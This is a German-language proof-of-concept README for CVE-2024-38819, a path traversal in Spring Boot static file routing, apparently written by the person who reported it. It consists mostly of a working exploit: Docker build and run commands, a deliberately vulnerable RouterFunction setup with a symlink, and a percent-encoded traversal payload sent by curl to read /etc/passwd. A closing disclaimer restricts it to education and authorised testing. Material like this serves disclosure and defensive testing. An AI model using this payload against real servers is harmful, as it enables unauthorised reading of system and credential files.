
Proof-of-Concept-Exploit für CVE-2024-38819, der Path Traversal über symbolische Links und Prozent-Encoding im statischen Datei-Routing von Spring Boot demonstriert.
Dies ist ein Proof of Concept für die von mir gemeldete Schwachstelle CVE-2024-38819, der einen Path-Traversal-Exploit demonstriert.
Erstellen Sie das Docker-Image (Spring Boot 3.3.4, basierend auf Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
Starten Sie den Container und veröffentlichen Sie Port 8080 auf dem Host-Rechner
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
Führen Sie den folgenden Befehl aus, um den PoC auszuführen und die Schwachstelle zu bestätigen
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Wenn der Angriff erfolgreich ist, wird der Inhalt der Datei /etc/passwd angezeigt.
Erstellen Sie PathTraversalDemoApplication.java mit dem folgenden Code, um das Routing für statische Dateien mithilfe von RouterFunction und FileSystemResource einzurichten:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Fügen Sie dem Dockerfile den folgenden Befehl hinzu, um einen symbolischen Link zu erstellen:
RUN ln -s /static /app/static/link
Erstellen Sie ein Payload, das Prozent-Encoding nutzt, um über den symbolischen Link Verzeichnisse zu traversieren.
/static/link/%2e%2e/etc/passwdVerwenden Sie den folgenden curl-Befehl, um den PoC auszuführen und zu überprüfen, ob der Angriff erfolgreich ist:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Wenn der Angriff erfolgreich ist, wird der Inhalt der Datei /etc/passwd angezeigt.
Dieser PoC wird zu Bildungs- und Sicherheitsforschungszwecken bereitgestellt. Vergewissern Sie sich vor der Verwendung in einem realen System, dass die Schwachstelle behoben wurde und Sie über die erforderliche Autorisierung verfügen. Der Autor übernimmt keinerlei Verantwortung für eine missbräuchliche Verwendung dieses Codes.